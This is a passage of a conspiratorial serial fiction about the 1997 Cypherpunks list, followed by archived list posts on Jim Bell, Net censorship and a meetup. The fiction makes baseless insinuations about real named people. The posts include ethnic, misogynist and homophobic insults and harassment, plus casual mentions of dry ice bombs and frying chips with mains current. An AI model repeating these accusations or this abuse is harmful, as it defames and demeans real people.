brand of insanity a Rest Area on the Highway to Hell.
The CypherPunks, Phreaks and Hackers were just bit players in
the insanity of the times. For all of the denigrating allusions
to them in the WebWorld scheme of reality, they were fairly normal
when compared to the millions of average Joe/Jane Doe lunatics
staking out their own rubber-room on the fringes of CyberSpace.


Jonathan eventually took a break from his 'surfing' and got down
to the serious business of turning his attention to a renewed
analysis of the life and times of the CypherPunks in the period
surrounding the attacks on the lists, the remailers, and the individual
CypherPunks.

Jonathan had turned up a Stego that had been part of the original
release of Part II of "The True Story of the InterNet"
on the CypherPunks distributed list that was created following
the failed (?) takeover of the list in early 1997 AD.

The Author's second manuscript had been cut short by his ignonimous
death in a scumbag motel room in southern Saskatchewan, but the
torch had been picked up by a variety of individuals who added
their own personal touches to its subsequent release.

One thing that piqued Jonathan's interest was the fact that the
Author's original title for the second manuscript had been "TV
World," and yet, the release to the CypherPunks list had
been titled "WebWorld and the Mythical Circle of Eunuchs."

Who was the mysterious entity who had released this version of
the manuscript at a time when WebWorld was not yet the living,
breathing entity that it had become in the decades since?
Jonathan's instincts led him to believe that the answer lay in
the innards of the mysterious Stego that comprised Chapter 25
of the release. He immediately set his sights to unlock this mystery.

Jonathan first sought out the source of the program that would
enable him to pry open the hidden secrets locked inside of the
Stego.
http://jengate.thur.de/ulf/stegano/
Steganography Tools 4 encrypts the data with IDEA, MPJ2 (up to
512bits key), DES,

3DES and NSEA in CBC, ECB, CFB, OFB and PCBC modes and hides it
inside graphics

(BMP files), digital audio (WAV files) or unused sectors of HD
floppies.

ftp://idea.sec.dsi.unimi.it/pub/security/crypt/code/s-tools4.zip

http://www.cs.hut.fi/ssh/crypto/software.html#stego

Jonathan booted the S-tools Stego program and ran a quick password
breaker on it. It took 48 milliseconds to crack. Obviously, secrecy
was not a concern to whomever had sent the Stego to the CypherPunks
list.
The password was "WebWorld."

Jonathan quickly uncompressed the resulting file with PKZip, another
archaic program of the period, and read the contents of the files
that were produced.
What he found gave him pause for thought.

The hidden post regarding the Author was not a great surprise.

It laid out the Author's connection to a variety of groups, mostly
referred to as 'cults' in his time, which were no great secret
to those with a serious grounding in the history of the Magic
Circle.
The Author had travelled widely and had been influential in the
formation of a variety of groups/cults in his time, although most
were perversions of his original concepts and philosophies. The
Branch Davidians, Heaven's Gate, Canadian Solar Temple offshoots,
the Montana survivalists and Elohim City tentacles had each taken
portions of his teachings and corrupted them to suit their own
ends. 

The hidden post regarding Jim Bell, however, had surprised Jonathan
and was an indication that he should check further into just what
import it had in relation to CypherPunk history.
What he discovered would astound him.

Received: (from majordom@localhost) by toad.com (8.7.5/8.7.3)
id RAA03183 for cypherpunks-unedited-outgoing; Wed, 2 Apr 1997
17:40:11 -0800 (PST)

Received: from tcs_gateway2.treas.gov (tcs-gateway2.treas.gov
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(PST)

From: IRSNWPR@net.insp.irs.gov

Date: Tue, 1 Apr 1997 15:18:46 -0500

Message-Id: <199704012018.PAA00555@net.insp.irs.gov>

To: Interested_Parties@net.insp.irs.gov

Subject: Something of interest...

Sender: owner-cypherpunks@toad.com


The Oregonian, Wednesday, April 2, 1997

20 armed federal agents raid home in Vancouver

By John Painter Jr. of The Oregonian staff

VANCOUVER, Wash. - About 20 armed agents from at least three federal

agencies in four states raided a Vancouver home Tuesday, apparently

looking for evidence of a plot to kill government officials.

Sources said James D. Bell...

Jonathan studied the headers from the message.
The header indicated that the post came from tcs_gateway2.treas.gov.

The header also indicated that the message was composed on April
1, the day preceding the news story of April 2, which it purported
to be quoting. Since the header could have easily been forged,
particularly considering the fact that it arrived at toad.com
on April 2, Jonathan could easily have dismissed it as a shallow
attempt at forged precognition.
Knowing that the Magic Circle was renowned for laying a cryptic
trail, however, Jonathan had to consider the fact that this shallow
forgery could well be a pointer to a more valid clue as to what
was really going on in the background of the Jim Bell affair.

Jonathan kicked in his date/time synchronicity module and it quickly
revealed the presence of another post to the CypherPunks list
which came a step closer to revealing preplanning by someone in
relation to Bell's troubles.

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Received: (from remailer@localhost) by fat.doobie.com
(8.8.5/8.6.9) id KAA11717 for cypherpunks@toad.com; Tue, 1 Apr
1997 10:32:07 -0800

Date: Tue, 1 Apr 1997 10:32:07 -0800

To: cypherpunks@toad.com

From: nobody@huge.cajones.com (Huge Cajones Remailer)

Dear Mr. Bell:
We have been both pleased and relieved to note
that over the past several months you have used
the troublesome initials "AP" much less frequently
than has been your habit. 

This measurable improvement in your attitude
has considerably reduced the influx of damaging materials
into your files.

Today, however, it has been brought to our attention
that you took the opportunity to launch into an explanation
(relatively controlled, we hasten to say) of the
basic theory you have been propounding regarding AP.

More troublesome is the evidence that you, yourself,
posted the supposedly anonymous question to which you responded.

We sincerely hope that such felonious manipulation of e-mail traffic

and information does not indicate a return to your previous
unacceptable outbursts.

Always hoping for the best, we remain,

The Bell Team
secserv@whitehouse.gov

Jonathan thought about the potential import of this post.
It had been sent mere minutes after the assault on Jim Bell's
residence, and a full day before the news reports of the event.
It was obviously done by someone with inside information on the
raid-someone who was poking fun at those involved in the raid.

Further inquiry suggested that it had been sent through a CypherPunks
remailer by camcc@abraxis.com, a known confederate of those claiming
to represent the Magic Circle of that era.

Another troubling feature came to light when Jonathan checked
the government paperwork regarding the Federal government's search
and seizure on Bell's residence, which was an obvious fishing
expedition meant to send a chilling message to those who dared
to express anti-government sentiments in public forums.
Greg Broiles, a C2Net foil on the CypherPunks list, had put the
documents up on his website at: http://www.parrhesia.com/jimbell.

Jonathan immediately recognized that the so-called application
for a search warrant was pre-dated to March 28, as was usual when
the government agencies had a desire to cover the trail of the
motivations surrounding their activities. What surprised him,
however, was the blatancy which they used in pointing to the true
underlying motives in their attack on Bell.

The alleged 'time' at which the search warrant was signed was
9:02 am.
The exact hour and minute of the bombing of the Oklahoma City
Federal Building, which was the current 'cause celebre' of the
decade.

Jonathan had noticed, from other official documents of the era,
that the underground government agencies behind many of these
covert actions would use this 'time stamp' to indicate the true
nature of their probing actions.
Obviously, the agency behind this was trying to pry loose the
true connection of the Author to the execution of Snell, McVeigh's
role in the OK City bombing, and the fragile links of Bell's "Assassination
Politics" manifesto to the lunatic fringe whose web of treachery
wound throughout the the U.S, from Montana to Oklahoma, and points
west.

Jonathan compared the Oregonian press reports of the raid on Bell's
residence with the post regarding the Author's dark connections
(both of which he found in the Chapter 25 Stego).
The slimly disguised link was the reference to the origins of
the license plates on the vehicles used by the Author, and the
license plates on the government vehicles involved in the raid
on Bell's home. In both works, the reference to the license plates
seemed superfluous to the event being reported.
Further analysis convinced Jonathan that the CypherPunks post
in regard to the author, several days before the raid on Bell
took place, was the work of the same author who did the report
for the Oregonian about the raid on the Bell residence.

Jonathan also followed the trail linking the Author with Bureau
42 and realized that David E. Smith and Rich Graves, both CypherPunks,
had tentacles that reached far beyond the apparent simplistic
aims that the organization claimed for themselves, with links
that could be followed to the origins of the Holocaust that had
defined the grandoise efforts of the Evil One in an immediately
preceding time period.

The big mystery in Jonathan's mind, as usual, was what role various
CypherPunks had played in this comedy of terrors.

Jonathan did a quick traffic analysis on the events preceding
and following the 'event' of the attack on Jim Bell, and found
the usual.
In this case, shortly before the attack on Bell, Kent Crispin
surfaced, replying to a few mundane posts on the CypherPunks list.
Immediately after the Bell situation caused discussion on the
list, Crispin jumped into the fray, attempting to muddy the waters
surrounding the Bell situation.
Then Hallam-Baker jumped in, adding to Crispin's efforts with
his own attempts to castigate Bell, leading other CypherPunks
to join in calling Bell a "loon" whose ideas were a
detriment to CypherPunk philosophy.
Jonathan followed the trail of posts and found nothing particularly
surprising. It was the same-old, same-old. The usual players coming
out of the woodwork to support each other's efforts to direct
the discussions in a manner that would lead the list threads away
from areas of concern to the government actors in the background.

Adam Back and John Young, Duvos, snow and the Fatman, among others,
would post missives which cut to the heart of the matter, but
their efforts would get lost in the more emotive posts by the
kooks and the disinformation artists.
After the intial plethora of posts regarding Bell, government
schills such as Crispin would begin posting a variety of items
containing bullshit logic which would then be set upon by those
who saw the fallacies contained therein, but who didn't realize
that their purpose was to evoke response which would further bury
matters of more immediate import to the future of the CypherPunks.

Even Tim May seemed to go through a period which was oddly supportive
of the government forces aligning against Bell, which only fueled
the fires of Jonathan's suspicions that Bell was actually playing
an active role in his own persecution.
"Ask not for whom Bell toils..."
Was Bell actually working as a government agent, lending himself
to the spooks' efforts to send chilling messages to free speech
advocates on the CypherPunks list?
"Ask not for whom Bell trolls..."
Was Bell setting up the government agents for a false start in
their attacks on the individual CypherPunks? Was he initiating
a 'wake up call' for those on the list who thought that the list
was nothing more than a grand game of "What if...?"


Jonathan poured himself a fresh shot of Jim Beam.

Crispin, Hallam-Baker, snow, Duvos and the Fatman. Each and every
one of them could actually be playing a role totally contrary
to that which Jonathan had attributed to them by virtue of his
far-reaching, in-depth analysis of their posts.
The more that he delved into the eternal mysteries of the anarchistic
CypherPunks, the more Jonathan realized that history was in the
past, and that the future lie in the actions that he would, himself,
would take today.

The future was in his hands, and Jonathan had absolutely no idea
what to do.

There was a knock on the door of his old apartment...
Jonathan froze.


Chapter 29 - Bureau 42







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 15:23:01 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: NSA Intercepts Sent to Democratic National Committee
In-Reply-To: <v0300780aaf71a035468b@[207.167.93.63]>
Message-ID: <JJuw5D1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:

> Reports that the White House fed NSA phone intercepts to the Democratic
> National Committee (DNC), for political purposes.
> 
> The calls were between a New York businessman and a Latvian national.

This reminds me how some stupid cunt on Usenet thought I was latvian and
posted hundreds of kilobytes of flames about how stupid latvians were
using me as an example.  Of course, I am NOT latvian in any way.


---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 15:23:24 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Bot-generated insults
In-Reply-To: <Pine.SUN.3.91.970408115823.14909A-100000@beast.brainlink.com>
Message-ID: <VwVw5D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Ray Arachelian <sunder@brainlink.com> writes:
> > > written basic at that.  I've seen better code written by chimpanzees.
> > If Ray "Arsen" Arachelian can work for Earthweb, LLP, as an "associate
> > network adiministrator", then I'm not surprised if they have chimpanzees
> > writing Java code as well.
> As for the programmers Earthweb employs, I can assure you there is nary any
> of the ape family. (Though some wear extremely cool beards :) And Java 
> they can write.  But I code no Java, so I won't speak further on the issue.
No one thought you could. We already know that chimpanzees are smarter than
Amrenians. Please don't waste the bandwidth by demonstrating it yet again.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Wed, 9 Apr 1997 14:43:59 -0700 (PDT)
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Black box attacks (was Re: Crypto-Dongel)
In-Reply-To: <3.0.32.19970409134223.007296b8@netcom13.netcom.com>
Message-ID: <Pine.BSD/.3.91.970409170243.266C-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 9 Apr 1997, Lucky Green wrote:

> At 12:35 PM 4/9/97 -0400, Cynthia H. Brown wrote:
> >If you're trying to destroy a standard IC, why don't you just hook up the
> >power and ground pins to a 120V AC outlet? 
> 
> You are unlikely to have AC in a system by the time the tamper detector
> senses an intrusion. Similar problems apply to arcs and anything based on
> discharging a large capacitor.

True, if you haven't installed a circuit in advance with some sort of
switch or circuit breaker to kick in when the PC's cover is opened (in
your absence), or the Big Red Button beside your PC is pushed (in your
presence).  Assuming you're dealing with a PCMCIA card, it would be easy
to rig up an alternate "reader" to fry the card as soon as it's plugged
in. 

All of this has been done before - most high-security crypto devices have
built-in zeroisation / tamper response. 

And no, I'm not sufficiently paranoid to have this on _my_ home PC.

Cynthia

===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Wed, 9 Apr 1997 14:56:25 -0700 (PDT)
To: Toto  <toto@sk.sympatico.ca>
Subject: Re: Reactionaries
In-Reply-To: <334AAE5E.38F5@sk.sympatico.ca>
Message-ID: <3.0.1.32.19970409175517.007ceaf0@smtp1.abraxis.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 01:32 PM 4/9/97 -0600, you wrote:
|Timothy C. May wrote:
|
|> Let's not make the Cypherpunks firing squad a circle.
|
|  Although Tim has been on the rag lately, perhaps this bit
|of humor is a sign that his period (pardon the pun) of male
|menopause is over.

This sort of snide sexist humor has no place here.

Alec
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBM0wQQiKJGkNBIH7lAQGBaQQAsuFkZj/9SiPCQQVBRXTGJNCwd0vK2y//
+FPs5naC0/xxEVR/K5TA2gP9L9LxQ9E8/XPV7UuMUnlac57TKhfZWA3R5nsEDwt2
lQ0ypCjeQjDodAOI5IkBLBOTXm+TUBFWlU7XyDk/xP23IOkCPFETU28qOAkbO3eq
K81NNgvfnPs=
=3mlt
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Wed, 9 Apr 1997 17:11:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Reactionaries
In-Reply-To: <3.0.1.32.19970409175517.007ceaf0@smtp1.abraxis.com>
Message-ID: <DJZw5D96w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Alec <camcc@abraxis.com> writes:

> -----BEGIN PGP SIGNED MESSAGE-----
>
> At 01:32 PM 4/9/97 -0600, you wrote:
> |Timothy C. May wrote:
> |
> |> Let's not make the Cypherpunks firing squad a circle.
> |
> |  Although Tim has been on the rag lately, perhaps this bit
> |of humor is a sign that his period (pardon the pun) of male
> |menopause is over.
>
> This sort of snide sexist humor has no place here.

What sort of humor does have a place here?

Timmy's racist rants about petards and crazy Russians?

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Date: Thu, 10 Apr 1997 13:43:40 -0700 (PDT)
To: "Cypherpunks (E-mail)" <cypherpunks@toad.com>
Subject: Checkout the crypto in IE 4.0
Message-ID: <01BC45CF.1AA8ACE0@crecy.ai.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


Maybe people have already noticed but the pre-release IE 4.0 has S/MIME encryption and signatures built in. I'm trying to set it up as we speak.

Unfortunately Outlook Express does not seem to pick up the Outlook '97 address book so I haven't been able to add the sig to this message :-)



Phillip M. Hallam-Baker
Visitng Scientist
MIT Laboratory for Artificial Intelligence.
hallam@ai.mit.edu
http://www.ai.mit.edu/people/hallam/hallam.html






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Wed, 9 Apr 1997 16:58:11 -0700 (PDT)
To: cypherpunks@toad.com
Subject: New York court hears challenge to state Net-censorship law
Message-ID: <v03007811af71dc5471d4@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



**********

Date: Wed, 9 Apr 1997 17:50:08 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: New York court hears challenge to state Net-censorship law
Sender: owner-fight-censorship-announce@vorlon.mit.edu
Reply-To: declan@well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

**************

http://cgi.pathfinder.com/netly/editorial/0,1012,811,00.html

The Netly News Network
April 8, 1997

The Bad Apple
by Declan McCullagh (declan@well.com)

     To those of us who follow such events, it's
a common enough scene: a squad of civil liberties
attorneys troops into a federal courtroom to do
righteous battle with an unconstitutional law. It
happened this week in New York City, before a
judge who finished hearing testimony yesterday in
a case the ACLU brought against yet another state
Net-censorship statute.

     The outcome in this lawsuit, however, will
reverberate not just in the Empire State but also
along the marble corridors of the U.S. Capitol.
If the Supreme Court rules that the
Communications Decency Act indeed violates the
First Amendment, Congress hopes the New York case
will guide it in revising the law so it passes
constitutional muster. And given how the New York
case is shaping up for the forces of unbridled
free speech, that could be ugly.

     A group of 15 plaintiffs challenging the New
York statute filed suit in January, arguing that
that the law unconstitutionally stifles online
speech and unduly interferes with interstate
commerce on the Net. The measure, which took
effect last November, amends the penal code by
making it a crime to distribute online pictures
or text "which is harmful to minors." Attorneys
for the New York attorney general's office, who
are defending the law, say that the "harmful to
minors" legal standard isn't as heinous as the
CDA's "indecency" ban -- it covers only sexually
explicit pictures, not textual conversations.
They also argue that filtering software could be
used to help online purveyors of adult-only stuff
comply with the state statute.

     Of course, as always, academics, librarians
and artists point out that these attempts to
limit online communications are overly broad and
ill-defined. What I consider harmful to a kid
might not be what you consider harmful, after
all. Yesterday four witnesses testified for the
plaintiffs, uniformly saying they felt threatened
by the law. "I walk around with a healthy fear
that every book in our collection would give
someone the idea that we're giving harmful
materials to minors," said Maurice Friedman,
executive director of the Westchester Library
System. Rudolf Kinsky, an artist from Poland,
weighed in next: "I feel a chilling effect on my
creativity. Someone could consider my art harmful
to minors and could prosecute me. I came to this
country [from Poland] looking for freedom of
speech, not this."

     But yesterday's testimony seemed like the
capper to an overwhelmingly poor showing the
government made in its opening arguments last
week. The government's case lasted a mere hour
and was hardly persuasive. Among other gaffes,
the state failed to slide a new legal standard --
"level of maturity" -- into the discussion; Judge
Loretta Preska quickly rebuffed that attempt: "I
don't read 'level of maturity' anywhere in the
statute," she said, nettled. That wasn't the only
time Preska pounced on the government. By the end
of the three-day hearing, I was ready to bet good
money on the ACLU winning yet another victory for
the Net.

     But I have a confession to make. In January
I claimed that "knocking down New York's law
should be a virtual slam dunk," saying it suffers
from all of the same problems as the CDA. But
now, after reading a recent law review article by
UCLA law professor Eugene Volokh, I'm not as
sure. Volokh points out that the government could
rely on the ready existence of ratings schemes,
such as RSACi and PICS, which give publishers the
ability to keep their material out of the hands
of minors. He writes: "Under the existing
doctrine, it would be constitutional to
criminalize the display of any harmful-to-minors
material which does not carry a correct rating."

     In other words, rate your web pages with
RSACi or go to jail. (I can't see Microsoft, the
Software Publishers Association and other RSACi
boosters probably opposing this. I can smell
another Microsoft world-domination plot brewing
already...) Indeed, Volokh told me yesterday that
he thinks the New York attorney general may have
a workable case. "I think the state has a decent
defense. They could say look, this rating imposes
a burden but not a very high burden. It's like
that imposed on a bookseller. All you're required
to do is put on this label."

     Certainly, Net rating systems played a big
part in the New York trial. Last Friday a
government attorney asked: "In general, what
would be more burdensome as a whole: requiring
millions of web sites to rate their contents or
just requiring a percentage of web sites that
contain graphical objectionable material to rate
their web sites?" What the government was trying
to point out was that rating systems like RSACi
-- that let you assign values to web pages based
on nudity or violence -- are increasingly
commonplace. If they're commonplace, then
netizens may be able to comply with the New York
law. And if netizens can comply with the law,
then it may be constitutional.

[...]

     "Harmful to minors is something people will
talk about again and it's an option, but I don't
want to say we'll be out there trumpeting it,"
says Connie Correll, spokeswoman for Rep. Rick
White, a Republican congressman from Washington
State -- whose district includes Microsoft.
(Coincidence, or another Microsoft attempt at
world domination? While you're pondering the
question, keep in mind that White championed
"harmful to minors" language in December 1995,
but Congress rejected it in favor of the CDA's
broader "indecency" ban.) Correll adds: "People
are watching the New York case. I think it's
going to be a real good indication." So do I.

###


--------------------------------------------------------------------------
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/


-------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ARTURO GRAPA YSUNZA <AGRAPA@banamex.com>
Date: Thu, 10 Apr 1997 13:26:38 -0700 (PDT)
To: "declan@well.com>
Subject: RE: New York court hears challenge to state
Message-ID: <c=MX%a=_%p=BANACCI%l=CENTRALES/BARRANCA24/0001565A@mex3976bcaop1.banamex.com>
MIME-Version: 1.0
Content-Type: text/plain



Remember that the Internet is an international playground and while the
U.S. Government may say "Rate your site or go to jail" or worse yet
filter traffic that is not rated (blind censorship), the rest of the
world may go on its merry way and not even flinch (crypto is a good
example). Sounds like a state-run New York Times. The phrase "harmful to
children" also means different things in different countries.

Maybe the idea is that countries and/or sites that do not rate their
content will be blocked from accessing U.S. sites (immigration law on
the net). Other countries could do the same in retaliation. That would
mean the loss of access to a lot of information for all sides.

	"Excuse me sir, I can't let your packet pass unless I've seen your Net
passport and visa".

And what happens to all those international sites hosted on U.S.
territory? If they were to move out it would mean a loss of $$ for U.S.
companies (again).

Also, don't forget that state laws would impede interstate commerce
(loss of revenue for the state). I see the word "boycott" in my future.

Somebody please slap the person who said the Cold War was over.

I'm glad that somebody has finally discovered time travel. Unforunately
its in back in time not forward!


Art Grapa
agrapa@banamex.com


 ----------
From: Declan McCullagh
To: ARTURO GRAPA YSUNZA; cypherpunks@toad.com
Subject: New York court hears challenge to state
Date: Wednesday, April 09, 1997 7:33PM

Microsoft Mail v3.0 IPM.Microsoft Mail.Note
De: Declan McCullagh
Para:  ARTURO GRAPA YSUNZA
     cypherpunks@toad.com
Asunto:  New York court hears challenge to state
Fecha: 1997-04-09 19:33
Prioridad: 3
Ident. del mensaje: 9E367DA622B0D011AF8D006097838CEB

 -----------------------------------------------------------------------
----- --

**********

Date: Wed, 9 Apr 1997 17:50:08 -0400
To: fight-censorship-announce@vorlon.mit.edu
From: Declan McCullagh <declan@well.com>
Subject: FC: New York court hears challenge to state Net-censorship law
Sender: owner-fight-censorship-announce@vorlon.mit.edu
Reply-To: declan@well.com
X-FC-URL: Fight-Censorship is at http://www.eff.org/~declan/fc/

**************

http://cgi.pathfinder.com/netly/editorial/0,1012,811,00.html

The Netly News Network
April 8, 1997

The Bad Apple
by Declan McCullagh (declan@well.com)

     To those of us who follow such events, it's
a common enough scene: a squad of civil liberties
attorneys troops into a federal courtroom to do
righteous battle with an unconstitutional law. It
happened this week in New York City, before a
judge who finished hearing testimony yesterday in
a case the ACLU brought against yet another state
Net-censorship statute.

     The outcome in this lawsuit, however, will
reverberate not just in the Empire State but also
along the marble corridors of the U.S. Capitol.
If the Supreme Court rules that the
Communications Decency Act indeed violates the
First Amendment, Congress hopes the New York case
will guide it in revising the law so it passes
constitutional muster. And given how the New York
case is shaping up for the forces of unbridled
free speech, that could be ugly.

     A group of 15 plaintiffs challenging the New
York statute filed suit in January, arguing that
that the law unconstitutionally stifles online
speech and unduly interferes with interstate
commerce on the Net. The measure, which took
effect last November, amends the penal code by
making it a crime to distribute online pictures
or text "which is harmful to minors." Attorneys
for the New York attorney general's office, who
are defending the law, say that the "harmful to
minors" legal standard isn't as heinous as the
CDA's "indecency" ban -- it covers only sexually
explicit pictures, not textual conversations.
They also argue that filtering software could be
used to help online purveyors of adult-only stuff
comply with the state statute.

     Of course, as always, academics, librarians
and artists point out that these attempts to
limit online communications are overly broad and
ill-defined. What I consider harmful to a kid
might not be what you consider harmful, after
all. Yesterday four witnesses testified for the
plaintiffs, uniformly saying they felt threatened
by the law. "I walk around with a healthy fear
that every book in our collection would give
someone the idea that we're giving harmful
materials to minors," said Maurice Friedman,
executive director of the Westchester Library
System. Rudolf Kinsky, an artist from Poland,
weighed in next: "I feel a chilling effect on my
creativity. Someone could consider my art harmful
to minors and could prosecute me. I came to this
country [from Poland] looking for freedom of
speech, not this."

     But yesterday's testimony seemed like the
capper to an overwhelmingly poor showing the
government made in its opening arguments last
week. The government's case lasted a mere hour
and was hardly persuasive. Among other gaffes,
the state failed to slide a new legal standard --
"level of maturity" -- into the discussion; Judge
Loretta Preska quickly rebuffed that attempt: "I
don't read 'level of maturity' anywhere in the
statute," she said, nettled. That wasn't the only
time Preska pounced on the government. By the end
of the three-day hearing, I was ready to bet good
money on the ACLU winning yet another victory for
the Net.

     But I have a confession to make. In January
I claimed that "knocking down New York's law
should be a virtual slam dunk," saying it suffers
from all of the same problems as the CDA. But
now, after reading a recent law review article by
UCLA law professor Eugene Volokh, I'm not as
sure. Volokh points out that the government could
rely on the ready existence of ratings schemes,
such as RSACi and PICS, which give publishers the
ability to keep their material out of the hands
of minors. He writes: "Under the existing
doctrine, it would be constitutional to
criminalize the display of any harmful-to-minors
material which does not carry a correct rating."

     In other words, rate your web pages with
RSACi or go to jail. (I can't see Microsoft, the
Software Publishers Association and other RSACi
boosters probably opposing this. I can smell
another Microsoft world-domination plot brewing
already...) Indeed, Volokh told me yesterday that
he thinks the New York attorney general may have
a workable case. "I think the state has a decent
defense. They could say look, this rating imposes
a burden but not a very high burden. It's like
that imposed on a bookseller. All you're required
to do is put on this label."

     Certainly, Net rating systems played a big
part in the New York trial. Last Friday a
government attorney asked: "In general, what
would be more burdensome as a whole: requiring
millions of web sites to rate their contents or
just requiring a percentage of web sites that
contain graphical objectionable material to rate
their web sites?" What the government was trying
to point out was that rating systems like RSACi
 -- that let you assign values to web pages based
on nudity or violence -- are increasingly
commonplace. If they're commonplace, then
netizens may be able to comply with the New York
law. And if netizens can comply with the law,
then it may be constitutional.

[...]

     "Harmful to minors is something people will
talk about again and it's an option, but I don't
want to say we'll be out there trumpeting it,"
says Connie Correll, spokeswoman for Rep. Rick
White, a Republican congressman from Washington
State -- whose district includes Microsoft.
(Coincidence, or another Microsoft attempt at
world domination? While you're pondering the
question, keep in mind that White championed
"harmful to minors" language in December 1995,
but Congress rejected it in favor of the CDA's
broader "indecency" ban.) Correll adds: "People
are watching the New York case. I think it's
going to be a real good indication." So do I.

###


 -----------------------------------------------------------------------
---
This list is public. To join fight-censorship-announce, send
"subscribe fight-censorship-announce" to majordomo@vorlon.mit.edu.
More information is at http://www.eff.org/~declan/fc/


 -------------------------
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Wed, 9 Apr 1997 23:12:58 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Reactionaries
Message-ID: <199704100612.XAA27490@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto is another loser who pays for sick.sympatico.ca-ca 
because he lacks the mental capacity to gain net access as 
a perk of either employment or academic achievment.

          ,,,
         ($ $)
     -ooO-(_)-Ooo- To[homo]to






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@hidden.net (Anonymous)
Date: Thu, 10 Apr 1997 00:23:52 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Reactionaries
Message-ID: <199704100619.XAA05430@swan>
MIME-Version: 1.0
Content-Type: text/plain


Toto is another loser who pays for sick.sympatico.ca-ca 
because he lacks the mental capacity to gain net access as 
a perk of either employment or academic achievment.

          ,,,
         ($ $)
     -ooO-(_)-Ooo- To[homo]to







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Wed, 9 Apr 1997 23:27:49 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Assassination Politics
Message-ID: <199704100627.CAA10692@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Toto's abysmal grammar, atrocious spelling and 
feeble responses clearly identify him as a product of the 
American education system.

       >\\\|/<
       |_    ;
       (O) (o)
   -OOO--(_)--OOOo- T[h]o[mo]to






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 10 Apr 1997 02:35:42 -0700 (PDT)
To: coderpunks@toad.com
Subject: APRIL BAY AREA CYPHERPUNKS MEETING AND BEACH PARTY, BONNY DOON
Message-ID: <3.0.1.32.19970410023200.0063d7b0@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


The April Bay Area Cypherpunks Meeting will be held jointly with the
Clan MacDude Back To The Beach party, April 12 at Bonny Doon Beach.   
( www.macdude.org , http://www.macdude.org/aprbeach.htm for event
description.)
Among other things, John Randolph was planning to do a 
Great Wall of Fire with his leftover moving boxes, and various
other cypherpunks are part of the Glorious Clan, which is a generally
silly organization.  

Cypherpunkish agenda: It's been a quiet month, except for Jim Bell.
	CFP was just after the March meeting.  The UK is hyping Key Escrow.
	Bring some discussion topics that benefit from handwaving
	but don't need a blackboard :-)  Ron Rivest and Carl Ellison
	have been doing some good work on key distribution.
	PGP Inc. is up to something.  China is announcing plans for Hong Kong.
	It's also time to celebrate "Diffie-Hellman Would Have Been Patent-Free!"
	day, though of course they changed the patent laws to make it September.

MacDude planned events
     Fizzball: A game involving cheap evil smelling beer and large stick 
     Caber toss: Except that we use a surf board 
     Haggis toss: Using an old Bean Bag Chair 
     Siege engines: How far can you launch a can of fizzbeer? 
     Bonny knees contest: Best legs in (or out) of a kilt, blindfolded
judging. 
     Dry Ice bombs: Dry Ice in plastic soda bottles, big boom. 
     Fire: Fire pit as executed by the army corpse of engineers 
     Music: Bardic and Filk around the burning pit of doom and cheer 
